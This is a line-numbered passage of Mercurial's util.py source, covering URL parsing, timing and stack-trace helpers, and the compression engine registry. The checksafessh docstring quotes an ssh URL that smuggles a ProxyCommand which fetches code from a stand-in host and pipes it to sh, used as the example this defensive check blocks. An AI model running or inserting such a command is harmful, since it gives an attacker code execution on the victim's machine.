2797 If port is an integer, it's returned as is. If it's a string, it's
2798 looked up using socket.getservbyname(). If there's no matching
2799 service, error.Abort is raised.
2800 """
2801 try:
2802 return int(port)
2803 except ValueError:
2804 pass
2805
2806 try:
2807 return socket.getservbyname(pycompat.sysstr(port))
2808 except socket.error:
2809 raise error.Abort(_("no port number associated with service '%s'")
2810 % port)
2811
2812 class url(object):
2813 r"""Reliable URL parser.
2814
2815 This parses URLs and provides attributes for the following
2816 components:
2817
2818 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2819
2820 Missing components are set to None. The only exception is
2821 fragment, which is set to '' if present but empty.
2822
2823 If parsefragment is False, fragment is included in query. If
2824 parsequery is False, query is included in path. If both are
2825 False, both fragment and query are included in path.
2826
2827 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2828
2829 Note that for backward compatibility reasons, bundle URLs do not
2830 take host names. That means 'bundle://../' has a path of '../'.
2831
2832 Examples:
2833
2834 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2835 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2836 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2837 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2838 >>> url(b'file:///home/joe/repo')
2839 <url scheme: 'file', path: '/home/joe/repo'>
2840 >>> url(b'file:///c:/temp/foo/')
2841 <url scheme: 'file', path: 'c:/temp/foo/'>
2842 >>> url(b'bundle:foo')
2843 <url scheme: 'bundle', path: 'foo'>
2844 >>> url(b'bundle://../foo')
2845 <url scheme: 'bundle', path: '../foo'>
2846 >>> url(br'c:\foo\bar')
2847 <url path: 'c:\\foo\\bar'>
2848 >>> url(br'\\blah\blah\blah')
2849 <url path: '\\\\blah\\blah\\blah'>
2850 >>> url(br'\\blah\blah\blah#baz')
2851 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2852 >>> url(br'file:///C:\users\me')
2853 <url scheme: 'file', path: 'C:\\users\\me'>
2854
2855 Authentication credentials:
2856
2857 >>> url(b'ssh://joe:xyz@x/repo')
2858 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2859 >>> url(b'ssh://joe@x/repo')
2860 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2861
2862 Query strings and fragments:
2863
2864 >>> url(b'http://host/a?b#c')
2865 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2866 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2867 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2868
2869 Empty path:
2870
2871 >>> url(b'')
2872 <url path: ''>
2873 >>> url(b'#a')
2874 <url path: '', fragment: 'a'>
2875 >>> url(b'http://host/')
2876 <url scheme: 'http', host: 'host', path: ''>
2877 >>> url(b'http://host/#a')
2878 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2879
2880 Only scheme:
2881
2882 >>> url(b'http:')
2883 <url scheme: 'http'>
2884 """
2885
2886 _safechars = "!~*'()+"
2887 _safepchars = "/!~*'()+:\\"
2888 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2889
2890 def __init__(self, path, parsequery=True, parsefragment=True):
2891 # We slowly chomp away at path until we have only the path left
2892 self.scheme = self.user = self.passwd = self.host = None
2893 self.port = self.path = self.query = self.fragment = None
2894 self._localpath = True
2895 self._hostport = ''
2896 self._origpath = path
2897
2898 if parsefragment and '#' in path:
2899 path, self.fragment = path.split('#', 1)
2900
2901 # special case for Windows drive letters and UNC paths
2902 if hasdriveletter(path) or path.startswith('\\\\'):
2903 self.path = path
2904 return
2905
2906 # For compatibility reasons, we can't handle bundle paths as
2907 # normal URLS
2908 if path.startswith('bundle:'):
2909 self.scheme = 'bundle'
2910 path = path[7:]
2911 if path.startswith('//'):
2912 path = path[2:]
2913 self.path = path
2914 return
2915
2916 if self._matchscheme(path):
2917 parts = path.split(':', 1)
2918 if parts[0]:
2919 self.scheme, path = parts
2920 self._localpath = False
2921
2922 if not path:
2923 path = None
2924 if self._localpath:
2925 self.path = ''
2926 return
2927 else:
2928 if self._localpath:
2929 self.path = path
2930 return
2931
2932 if parsequery and '?' in path:
2933 path, self.query = path.split('?', 1)
2934 if not path:
2935 path = None
2936 if not self.query:
2937 self.query = None
2938
2939 # // is required to specify a host/authority
2940 if path and path.startswith('//'):
2941 parts = path[2:].split('/', 1)
2942 if len(parts) > 1:
2943 self.host, path = parts
2944 else:
2945 self.host = parts[0]
2946 path = None
2947 if not self.host:
2948 self.host = None
2949 # path of file:///d is /d
2950 # path of file:///d:/ is d:/, not /d:/
2951 if path and not hasdriveletter(path):
2952 path = '/' + path
2953
2954 if self.host and '@' in self.host:
2955 self.user, self.host = self.host.rsplit('@', 1)
2956 if ':' in self.user:
2957 self.user, self.passwd = self.user.split(':', 1)
2958 if not self.host:
2959 self.host = None
2960
2961 # Don't split on colons in IPv6 addresses without ports
2962 if (self.host and ':' in self.host and
2963 not (self.host.startswith('[') and self.host.endswith(']'))):
2964 self._hostport = self.host
2965 self.host, self.port = self.host.rsplit(':', 1)
2966 if not self.host:
2967 self.host = None
2968
2969 if (self.host and self.scheme == 'file' and
2970 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2971 raise error.Abort(_('file:// URLs can only refer to localhost'))
2972
2973 self.path = path
2974
2975 # leave the query string escaped
2976 for a in ('user', 'passwd', 'host', 'port',
2977 'path', 'fragment'):
2978 v = getattr(self, a)
2979 if v is not None:
2980 setattr(self, a, urlreq.unquote(v))
2981
2982 @encoding.strmethod
2983 def __repr__(self):
2984 attrs = []
2985 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2986 'query', 'fragment'):
2987 v = getattr(self, a)
2988 if v is not None:
2989 attrs.append('%s: %r' % (a, v))
2990 return '<url %s>' % ', '.join(attrs)
2991
2992 def __bytes__(self):
2993 r"""Join the URL's components back into a URL string.
2994
2995 Examples:
2996
2997 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2998 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2999 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3000 'http://user:pw@host:80/?foo=bar&baz=42'
3001 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3002 'http://user:pw@host:80/?foo=bar%3dbaz'
3003 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3004 'ssh://user:pw@[::1]:2200//home/joe#'
3005 >>> bytes(url(b'http://localhost:80//'))
3006 'http://localhost:80//'
3007 >>> bytes(url(b'http://localhost:80/'))
3008 'http://localhost:80/'
3009 >>> bytes(url(b'http://localhost:80'))
3010 'http://localhost:80/'
3011 >>> bytes(url(b'bundle:foo'))
3012 'bundle:foo'
3013 >>> bytes(url(b'bundle://../foo'))
3014 'bundle:../foo'
3015 >>> bytes(url(b'path'))
3016 'path'
3017 >>> bytes(url(b'file:///tmp/foo/bar'))
3018 'file:///tmp/foo/bar'
3019 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3020 'file:///c:/tmp/foo/bar'
3021 >>> print(url(br'bundle:foo\bar'))
3022 bundle:foo\bar
3023 >>> print(url(br'file:///D:\data\hg'))
3024 file:///D:\data\hg
3025 """
3026 if self._localpath:
3027 s = self.path
3028 if self.scheme == 'bundle':
3029 s = 'bundle:' + s
3030 if self.fragment:
3031 s += '#' + self.fragment
3032 return s
3033
3034 s = self.scheme + ':'
3035 if self.user or self.passwd or self.host:
3036 s += '//'
3037 elif self.scheme and (not self.path or self.path.startswith('/')
3038 or hasdriveletter(self.path)):
3039 s += '//'
3040 if hasdriveletter(self.path):
3041 s += '/'
3042 if self.user:
3043 s += urlreq.quote(self.user, safe=self._safechars)
3044 if self.passwd:
3045 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3046 if self.user or self.passwd:
3047 s += '@'
3048 if self.host:
3049 if not (self.host.startswith('[') and self.host.endswith(']')):
3050 s += urlreq.quote(self.host)
3051 else:
3052 s += self.host
3053 if self.port:
3054 s += ':' + urlreq.quote(self.port)
3055 if self.host:
3056 s += '/'
3057 if self.path:
3058 # TODO: similar to the query string, we should not unescape the
3059 # path when we store it, the path might contain '%2f' = '/',
3060 # which we should *not* escape.
3061 s += urlreq.quote(self.path, safe=self._safepchars)
3062 if self.query:
3063 # we store the query in escaped form.
3064 s += '?' + self.query
3065 if self.fragment is not None:
3066 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3067 return s
3068
3069 __str__ = encoding.strmethod(__bytes__)
3070
3071 def authinfo(self):
3072 user, passwd = self.user, self.passwd
3073 try:
3074 self.user, self.passwd = None, None
3075 s = bytes(self)
3076 finally:
3077 self.user, self.passwd = user, passwd
3078 if not self.user:
3079 return (s, None)
3080 # authinfo[1] is passed to urllib2 password manager, and its
3081 # URIs must not contain credentials. The host is passed in the
3082 # URIs list because Python < 2.4.3 uses only that to search for
3083 # a password.
3084 return (s, (None, (s, self.host),
3085 self.user, self.passwd or ''))
3086
3087 def isabs(self):
3088 if self.scheme and self.scheme != 'file':
3089 return True # remote URL
3090 if hasdriveletter(self.path):
3091 return True # absolute for our purposes - can't be joined()
3092 if self.path.startswith(br'\\'):
3093 return True # Windows UNC path
3094 if self.path.startswith('/'):
3095 return True # POSIX-style
3096 return False
3097
3098 def localpath(self):
3099 if self.scheme == 'file' or self.scheme == 'bundle':
3100 path = self.path or '/'
3101 # For Windows, we need to promote hosts containing drive
3102 # letters to paths with drive letters.
3103 if hasdriveletter(self._hostport):
3104 path = self._hostport + '/' + self.path
3105 elif (self.host is not None and self.path
3106 and not hasdriveletter(path)):
3107 path = '/' + path
3108 return path
3109 return self._origpath
3110
3111 def islocal(self):
3112 '''whether localpath will return something that posixfile can open'''
3113 return (not self.scheme or self.scheme == 'file'
3114 or self.scheme == 'bundle')
3115
3116 def hasscheme(path):
3117 return bool(url(path).scheme)
3118
3119 def hasdriveletter(path):
3120 return path and path[1:2] == ':' and path[0:1].isalpha()
3121
3122 def urllocalpath(path):
3123 return url(path, parsequery=False, parsefragment=False).localpath()
3124
3125 def checksafessh(path):
3126 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3127
3128 This is a sanity check for ssh urls. ssh will parse the first item as
3129 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3130 Let's prevent these potentially exploited urls entirely and warn the
3131 user.
3132
3133 Raises an error.Abort when the url is unsafe.
3134 """
3135 path = urlreq.unquote(path)
3136 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3137 raise error.Abort(_('potentially unsafe url: %r') %
3138 (pycompat.bytestr(path),))
3139
3140 def hidepassword(u):
3141 '''hide user credential in a url string'''
3142 u = url(u)
3143 if u.passwd:
3144 u.passwd = '***'
3145 return bytes(u)
3146
3147 def removeauth(u):
3148 '''remove all authentication information from a url string'''
3149 u = url(u)
3150 u.user = u.passwd = None
3151 return str(u)
3152
3153 timecount = unitcountfn(
3154 (1, 1e3, _('%.0f s')),
3155 (100, 1, _('%.1f s')),
3156 (10, 1, _('%.2f s')),
3157 (1, 1, _('%.3f s')),
3158 (100, 0.001, _('%.1f ms')),
3159 (10, 0.001, _('%.2f ms')),
3160 (1, 0.001, _('%.3f ms')),
3161 (100, 0.000001, _('%.1f us')),
3162 (10, 0.000001, _('%.2f us')),
3163 (1, 0.000001, _('%.3f us')),
3164 (100, 0.000000001, _('%.1f ns')),
3165 (10, 0.000000001, _('%.2f ns')),
3166 (1, 0.000000001, _('%.3f ns')),
3167 )
3168
3169 _timenesting = [0]
3170
3171 def timed(func):
3172 '''Report the execution time of a function call to stderr.
3173
3174 During development, use as a decorator when you need to measure
3175 the cost of a function, e.g. as follows:
3176
3177 @util.timed
3178 def foo(a, b, c):
3179 pass
3180 '''
3181
3182 def wrapper(*args, **kwargs):
3183 start = timer()
3184 indent = 2
3185 _timenesting[0] += indent
3186 try:
3187 return func(*args, **kwargs)
3188 finally:
3189 elapsed = timer() - start
3190 _timenesting[0] -= indent
3191 stderr.write('%s%s: %s\n' %
3192 (' ' * _timenesting[0], func.__name__,
3193 timecount(elapsed)))
3194 return wrapper
3195
3196 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3197 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3198
3199 def sizetoint(s):
3200 '''Convert a space specifier to a byte count.
3201
3202 >>> sizetoint(b'30')
3203 30
3204 >>> sizetoint(b'2.2kb')
3205 2252
3206 >>> sizetoint(b'6M')
3207 6291456
3208 '''
3209 t = s.strip().lower()
3210 try:
3211 for k, u in _sizeunits:
3212 if t.endswith(k):
3213 return int(float(t[:-len(k)]) * u)
3214 return int(t)
3215 except ValueError:
3216 raise error.ParseError(_("couldn't parse size: %s") % s)
3217
3218 class hooks(object):
3219 '''A collection of hook functions that can be used to extend a
3220 function's behavior. Hooks are called in lexicographic order,
3221 based on the names of their sources.'''
3222
3223 def __init__(self):
3224 self._hooks = []
3225
3226 def add(self, source, hook):
3227 self._hooks.append((source, hook))
3228
3229 def __call__(self, *args):
3230 self._hooks.sort(key=lambda x: x[0])
3231 results = []
3232 for source, hook in self._hooks:
3233 results.append(hook(*args))
3234 return results
3235
3236 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3237 '''Yields lines for a nicely formatted stacktrace.
3238 Skips the 'skip' last entries, then return the last 'depth' entries.
3239 Each file+linenumber is formatted according to fileline.
3240 Each line is formatted according to line.
3241 If line is None, it yields:
3242 length of longest filepath+line number,
3243 filepath+linenumber,
3244 function
3245
3246 Not be used in production code but very convenient while developing.
3247 '''
3248 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3249 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3250 ][-depth:]
3251 if entries:
3252 fnmax = max(len(entry[0]) for entry in entries)
3253 for fnln, func in entries:
3254 if line is None:
3255 yield (fnmax, fnln, func)
3256 else:
3257 yield line % (fnmax, fnln, func)
3258
3259 def debugstacktrace(msg='stacktrace', skip=0,
3260 f=stderr, otherf=stdout, depth=0):
3261 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3262 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3263 By default it will flush stdout first.
3264 It can be used everywhere and intentionally does not require an ui object.
3265 Not be used in production code but very convenient while developing.
3266 '''
3267 if otherf:
3268 otherf.flush()
3269 f.write('%s at:\n' % msg.rstrip())
3270 for line in getstackframes(skip + 1, depth=depth):
3271 f.write(line)
3272 f.flush()
3273
3274 class dirs(object):
3275 '''a multiset of directory names from a dirstate or manifest'''
3276
3277 def __init__(self, map, skip=None):
3278 self._dirs = {}
3279 addpath = self.addpath
3280 if safehasattr(map, 'iteritems') and skip is not None:
3281 for f, s in map.iteritems():
3282 if s[0] != skip:
3283 addpath(f)
3284 else:
3285 for f in map:
3286 addpath(f)
3287
3288 def addpath(self, path):
3289 dirs = self._dirs
3290 for base in finddirs(path):
3291 if base in dirs:
3292 dirs[base] += 1
3293 return
3294 dirs[base] = 1
3295
3296 def delpath(self, path):
3297 dirs = self._dirs
3298 for base in finddirs(path):
3299 if dirs[base] > 1:
3300 dirs[base] -= 1
3301 return
3302 del dirs[base]
3303
3304 def __iter__(self):
3305 return iter(self._dirs)
3306
3307 def __contains__(self, d):
3308 return d in self._dirs
3309
3310 if safehasattr(parsers, 'dirs'):
3311 dirs = parsers.dirs
3312
3313 def finddirs(path):
3314 pos = path.rfind('/')
3315 while pos != -1:
3316 yield path[:pos]
3317 pos = path.rfind('/', 0, pos)
3318
3319 # compression code
3320
3321 SERVERROLE = 'server'
3322 CLIENTROLE = 'client'
3323
3324 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3325 (u'name', u'serverpriority',
3326 u'clientpriority'))
3327
3328 class compressormanager(object):
3329 """Holds registrations of various compression engines.
3330
3331 This class essentially abstracts the differences between compression
3332 engines to allow new compression formats to be added easily, possibly from
3333 extensions.
3334
3335 Compressors are registered against the global instance by calling its
3336 ``register()`` method.
3337 """
3338 def __init__(self):
3339 self._engines = {}
3340 # Bundle spec human name to engine name.
3341 self._bundlenames = {}
3342 # Internal bundle identifier to engine name.
3343 self._bundletypes = {}
3344 # Revlog header to engine name.
3345 self._revlogheaders = {}
3346 # Wire proto identifier to engine name.
3347 self._wiretypes = {}
3348
3349 def __getitem__(self, key):
3350 return self._engines[key]
3351
3352 def __contains__(self, key):
3353 return key in self._engines
3354
3355 def __iter__(self):
3356 return iter(self._engines.keys())
3357
3358 def register(self, engine):
3359 """Register a compression engine with the manager.
3360
3361 The argument must be a ``compressionengine`` instance.
3362 """
3363 if not isinstance(engine, compressionengine):
3364 raise ValueError(_('argument must be a compressionengine'))
3365
3366 name = engine.name()
3367
3368 if name in self._engines:
3369 raise error.Abort(_('compression engine %s already registered') %
3370 name)
3371
3372 bundleinfo = engine.bundletype()
3373 if bundleinfo:
3374 bundlename, bundletype = bundleinfo
3375
3376 if bundlename in self._bundlenames:
3377 raise error.Abort(_('bundle name %s already registered') %
3378 bundlename)
3379 if bundletype in self._bundletypes:
3380 raise error.Abort(_('bundle type %s already registered by %s') %
3381 (bundletype, self._bundletypes[bundletype]))
3382
3383 # No external facing name declared.
3384 if bundlename:
3385 self._bundlenames[bundlename] = name
3386
3387 self._bundletypes[bundletype] = name
3388
3389 wiresupport = engine.wireprotosupport()
3390 if wiresupport:
3391 wiretype = wiresupport.name
3392 if wiretype in self._wiretypes:
3393 raise error.Abort(_('wire protocol compression %s already '
3394 'registered by %s') %
3395 (wiretype, self._wiretypes[wiretype]))
3396
3397 self._wiretypes[wiretype] = name
3398
3399 revlogheader = engine.revlogheader()
3400 if revlogheader and revlogheader in self._revlogheaders:
3401 raise error.Abort(_('revlog header %s already registered by %s') %
3402 (revlogheader, self._revlogheaders[revlogheader]))
3403
3404 if revlogheader:
3405 self._revlogheaders[revlogheader] = name
3406
3407 self._engines[name] = engine
3408
3409 @property
3410 def supportedbundlenames(self):
3411 return set(self._bundlenames.keys())
3412
3413 @property
3414 def supportedbundletypes(self):
3415 return set(self._bundletypes.keys())
3416
3417 def forbundlename(self, bundlename):
3418 """Obtain a compression engine registered to a bundle name.
3419
3420 Will raise KeyError if the bundle type isn't registered.
3421
3422 Will abort if the engine is known but not available.
3423 """
3424 engine = self._engines[self._bundlenames[bundlename]]
3425 if not engine.available():
3426 raise error.Abort(_('compression engine %s could not be loaded') %
3427 engine.name())
3428 return engine
3429
3430 def forbundletype(self, bundletype):
3431 """Obtain a compression engine registered to a bundle type.
3432
3433 Will raise KeyError if the bundle type isn't registered.
3434
3435 Will abort if the engine is known but not available.
3436 """
3437 engine = self._engines[self._bundletypes[bundletype]]
3438 if not engine.available():
3439 raise error.Abort(_('compression engine %s could not be loaded') %
3440 engine.name())
3441 return engine
3442
3443 def supportedwireengines(self, role, onlyavailable=True):
3444 """Obtain compression engines that support the wire protocol.
3445
3446 Returns a list of engines in prioritized order, most desired first.
3447
3448 If ``onlyavailable`` is set, filter out engines that can't be
3449 loaded.
3450 """
3451 assert role in (SERVERROLE, CLIENTROLE)
3452
3453 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3454
3455 engines = [self._engines[e] for e in self._wiretypes.values()]
3456 if onlyavailable:
3457 engines = [e for e in engines if e.available()]
3458
3459 def getkey(e):
3460 # Sort first by priority, highest first. In case of tie, sort
3461 # alphabetically. This is arbitrary, but ensures output is
3462 # stable.
3463 w = e.wireprotosupport()
3464 return -1 * getattr(w, attr), w.name
3465
3466 return list(sorted(engines, key=getkey))
3467
3468 def forwiretype(self, wiretype):
3469 engine = self._engines[self._wiretypes[wiretype]]
3470 if not engine.available():
3471 raise error.Abort(_('compression engine %s could not be loaded') %
3472 engine.name())
3473 return engine
3474
3475 def forrevlogheader(self, header):
3476 """Obtain a compression engine registered to a revlog header.
3477
3478 Will raise KeyError if the revlog header value isn't registered.
3479 """
3480 return self._engines[self._revlogheaders[header]]
3481
3482 compengines = compressormanager()
3483
3484 class compressionengine(object):
3485 """Base class for compression engines.
3486
3487 Compression engines must implement the interface defined by this class.
3488 """
3489 def name(self):
3490 """Returns the name of the compression engine.
3491
3492 This is the key the engine is registered under.
3493
3494 This method must be implemented.
3495 """
3496 raise NotImplementedError()
3497
3498 def available(self):
3499 """Whether the compression engine is available.
3500
3501 The intent of this method is to allow optional compression engines
3502 that may not be available in all installations (such as engines relying
3503 on C extensions that may not be present).
3504 """
3505 return True
3506
3507 def bundletype(self):
3508 """Describes bundle identifiers for this engine.
3509
3510 If this compression engine isn't supported for bundles, returns None.
3511
3512 If this engine can be used for bundles, returns a 2-tuple of strings of
3513 the user-facing "bundle spec" compression name and an internal
3514 identifier used to denote the compression format within bundles. To
3515 exclude the name from external usage, set the first element to ``None``.
3516
3517 If bundle compression is supported, the class must also implement
3518 ``compressstream`` and `decompressorreader``.
3519
3520 The docstring of this method is used in the help system to tell users
3521 about this engine.
3522 """
3523 return None
3524
3525 def wireprotosupport(self):
3526 """Declare support for this compression format on the wire protocol.
3527
3528 If this compression engine isn't supported for compressing wire
3529 protocol payloads, returns None.
3530
3531 Otherwise, returns ``compenginewireprotosupport`` with the following
3532 fields:
3533
3534 * String format identifier
3535 * Integer priority for the server
3536 * Integer priority for the client
3537
3538 The integer priorities are used to order the advertisement of format
3539 support by server and client. The highest integer is advertised
3540 first. Integers with non-positive values aren't advertised.
3541
3542 The priority values are somewhat arbitrary and only used for default
3543 ordering. The relative order can be changed via config options.
3544
3545 If wire protocol compression is supported, the class must also implement
3546 ``compressstream`` and ``decompressorreader``.
3547 """
3548 return None
3549
3550 def revlogheader(self):
3551 """Header added to revlog chunks that identifies this engine.
3552
3553 If this engine can be used to compress revlogs, this method should
3554 return the bytes used to identify chunks compressed with this engine.
3555 Else, the method should return ``None`` to indicate it does not
3556 participate in revlog compression.
3557 """
3558 return None
3559
3560 def compressstream(self, it, opts=None):
3561 """Compress an iterator of chunks.
3562
3563 The method receives an iterator (ideally a generator) of chunks of
3564 bytes to be compressed. It returns an iterator (ideally a generator)
3565 of bytes of chunks representing the compressed output.
3566
3567 Optionally accepts an argument defining how to perform compression.
3568 Each engine treats this argument differently.
3569 """
3570 raise NotImplementedError()
3571
3572 def decompressorreader(self, fh):
3573 """Perform decompression on a file object.
3574
3575 Argument is an object with a ``read(size)`` method that returns
3576 compressed data. Return value is an object with a ``read(size)`` that
3577 returns uncompressed data.
3578 """
3579 raise NotImplementedError()
3580
3581 def revlogcompressor(self, opts=None):
3582 """Obtain an object that can be used to compress revlog entries.
3583
3584 The object has a ``compress(data)`` method that compresses binary
3585 data. This method returns compressed binary data or ``None`` if
3586 the data could not be compressed (too small, not compressible, etc).
3587 The returned data should have a header uniquely identifying this
3588 compression format so decompression can be routed to this engine.
3589 This header should be identified by the ``revlogheader()`` return
3590 value.
3591
3592 The object has a ``decompress(data)`` method that decompresses
3593 data. The method will only be called if ``data`` begins with
3594 ``revlogheader()``. The method should return the raw, uncompressed
3595 data or raise a ``RevlogError``.
3596
3597 The object is reusable but is not thread safe.
3598 """
3599 raise NotImplementedError()
3600
3601 class _zlibengine(compressionengine):
3602 def name(self):
3603 return 'zlib'
3604
3605 def bundletype(self):
3606 """zlib compression using the DEFLATE algorithm.
3607
3608 All Mercurial clients should support this format. The compression
3609 algorithm strikes a reasonable balance between compression ratio
3610 and size.
3611 """
3612 return 'gzip', 'GZ'
3613
3614 def wireprotosupport(self):
3615 return compewireprotosupport('zlib', 20, 20)
3616
3617 def revlogheader(self):
3618 return 'x'
3619
3620 def compressstream(self, it, opts=None):
3621 opts = opts or {}
3622
3623 z = zlib.compressobj(opts.get('level', -1))
3624 for chunk in it:
3625 data = z.compress(chunk)
3626 # Not all calls to compress emit data. It is cheaper to inspect
3627 # here than to feed empty chunks through generator.
3628 if data:
3629 yield data
3630
3631 yield z.flush()
3632
3633 def decompressorreader(self, fh):
3634 def gen():
3635 d = zlib.decompressobj()
3636 for chunk in filechunkiter(fh):
3637 while chunk:
3638 # Limit output size to limit memory.
3639 yield d.decompress(chunk, 2 ** 18)
3640 chunk = d.unconsumed_tail
3641
3642 return chunkbuffer(gen())
3643
3644 class zlibrevlogcompressor(object):
3645 def compress(self, data):
3646 insize = len(data)
3647 # Caller handles empty input case.
3648 assert insize > 0
3649
3650 if insize < 44:
3651 return None
3652
3653 elif insize <= 1000000:
3654 compressed = zlib.compress(data)
3655 if len(compressed) < insize:
3656 return compressed
3657 return None
3658
3659 # zlib makes an internal copy of the input buffer, doubling
3660 # memory usage for large inputs. So do streaming compression
3661 # on large inputs.
3662 else:
3663 z = zlib.compressobj()
3664 parts = []
3665 pos = 0
3666 while pos < insize:
3667 pos2 = pos + 2**20
3668 parts.append(z.compress(data[pos:pos2]))
3669 pos = pos2
3670 parts.append(z.flush())
3671
3672 if sum(map(len, parts)) < insize:
3673 return ''.join(parts)
3674 return None
3675
3676 def decompress(self, data):
3677 try:
3678 return zlib.decompress(data)
3679 except zlib.error as e:
3680 raise error.RevlogError(_('revlog decompress error: %s') %
3681 stringutil.forcebytestr(e))
3682
3683 def revlogcompressor(self, opts=None):
3684 return self.zlibrevlogcompressor()
3685
3686 compengines.register(_zlibengine())
3687
3688 class _bz2engine(compressionengine):
3689 def name(self):
3690 return 'bz2'
3691
3692 def bundletype(self):
3693 """An algorithm that produces smaller bundles than ``gzip``.
3694
3695 All Mercurial clients should support this format.
3696
3697 This engine will likely produce smaller bundles than ``gzip`` but
3698 will be significantly slower, both during compression and
3699 decompression.
3700
3701 If available, the ``zstd`` engine can yield similar or better
3702 compression at much higher speeds.
3703 """
3704 return 'bzip2', 'BZ'
3705
3706 # We declare a protocol name but don't advertise by default because
3707 # it is slow.
3708 def wireprotosupport(self):
3709 return compewireprotosupport('bzip2', 0, 0)
3710
3711 def compressstream(self, it, opts=None):
3712 opts = opts or {}
3713 z = bz2.BZ2Compressor(opts.get('level', 9))
3714 for chunk in it:
3715 data = z.compress(chunk)
3716 if data:
3717 yield data
3718
3719 yield z.flush()
3720
3721 def decompressorreader(self, fh):
3722 def gen():
3723 d = bz2.BZ2Decompressor()
3724 for chunk in filechunkiter(fh):
3725 yield d.decompress(chunk)
3726
3727 return chunkbuffer(gen())
3728
3729 compengines.register(_bz2engine())
3730
3731 class _truncatedbz2engine(compressionengine):
3732 def name(self):
3733 return 'bz2truncated'
3734
3735 def bundletype(self):
3736 return None, '_truncatedBZ'
3737
3738 # We don't implement compressstream because it is hackily handled elsewhere.
3739
3740 def decompressorreader(self, fh):
3741 def gen():
3742 # The input stream doesn't have the 'BZ' header. So add it back.
3743 d = bz2.BZ2Decompressor()
3744 d.decompress('BZ')
3745 for chunk in filechunkiter(fh):
3746 yield d.decompress(chunk)
3747
3748 return chunkbuffer(gen())
3749
3750 compengines.register(_truncatedbz2engine())
3751
3752 class _noopengine(compressionengine):
3753 def name(self):
3754 return 'none'
3755
3756 def bundletype(self):
3757 """No compression is performed.
3758
3759 Use this compression engine to explicitly disable compression.
3760 """
3761 return 'none', 'UN'
3762
3763 # Clients always support uncompressed payloads. Servers don't because
3764 # unless you are on a fast network, uncompressed payloads can easily
3765 # saturate your network pipe.
3766 def wireprotosupport(self):
3767 return compewireprotosupport('none', 0, 10)
3768
3769 # We don't implement revlogheader because it is handled specially
3770 # in the revlog class.
3771
3772 def compressstream(self, it, opts=None):
3773 return it
3774
3775 def decompressorreader(self, fh):
3776 return fh
3777
3778 class nooprevlogcompressor(object):
3779 def compress(self, data):
3780 return None
3781
3782 def revlogcompressor(self, opts=None):
3783 return self.nooprevlogcompressor()
3784
3785 compengines.register(_noopengine())
3786
3787 class _zstdengine(compressionengine):
3788 def name(self):
3789 return 'zstd'
3790
3791 @propertycache
3792 def _module(self):
3793 # Not all installs have the zstd module available. So defer importing
3794 # until first access.
3795 try:
3796 from . import zstd
3797 # Force delayed import.
3798 zstd.__version__
3799 return zstd
3800 except ImportError:
3801 return None
3802
3803 def available(self):
3804 return bool(self._module)
3805
3806 def bundletype(self):
3807 """A modern compression algorithm that is fast and highly flexible.
3808
3809 Only supported by Mercurial 4.1 and newer clients.
3810
3811 With the default settings, zstd compression is both faster and yields
3812 better compression than ``gzip``. It also frequently yields better
3813 compression than ``bzip2`` while operating at much higher speeds.
3814
3815 If this engine is available and backwards compatibility is not a
3816 concern, it is likely the best available engine.
3817 """
3818 return 'zstd', 'ZS'
3819
3820 def wireprotosupport(self):
3821 return compewireprotosupport('zstd', 50, 50)
3822
3823 def revlogheader(self):
3824 return '\x28'
3825
3826 def compressstream(self, it, opts=None):
3827 opts = opts or {}
3828 # zstd level 3 is almost always significantly faster than zlib
3829 # while providing no worse compression. It strikes a good balance
3830 # between speed and compression.
3831 level = opts.get('level', 3)
3832
3833 zstd = self._module
3834 z = zstd.ZstdCompressor(level=level).compressobj()
3835 for chunk in it:
3836 data = z.compress(chunk)
3837 if data:
3838 yield data
3839
3840 yield z.flush()
3841
3842 def decompressorreader(self, fh):
3843 zstd = self._module
3844 dctx = zstd.ZstdDecompressor()
3845 return chunkbuffer(dctx.read_from(fh))
3846
3847 class zstdrevlogcompressor(object):
3848 def __init__(self, zstd, level=3):
3849 # Writing the content size adds a few bytes to the output. However,
3850 # it allows decompression to be more optimal since we can
3851 # pre-allocate a buffer to hold the result.
3852 self._cctx = zstd.ZstdCompressor(level=level,
3853 write_content_size=True)
3854 self._dctx = zstd.ZstdDecompressor()
3855 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3856 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3857
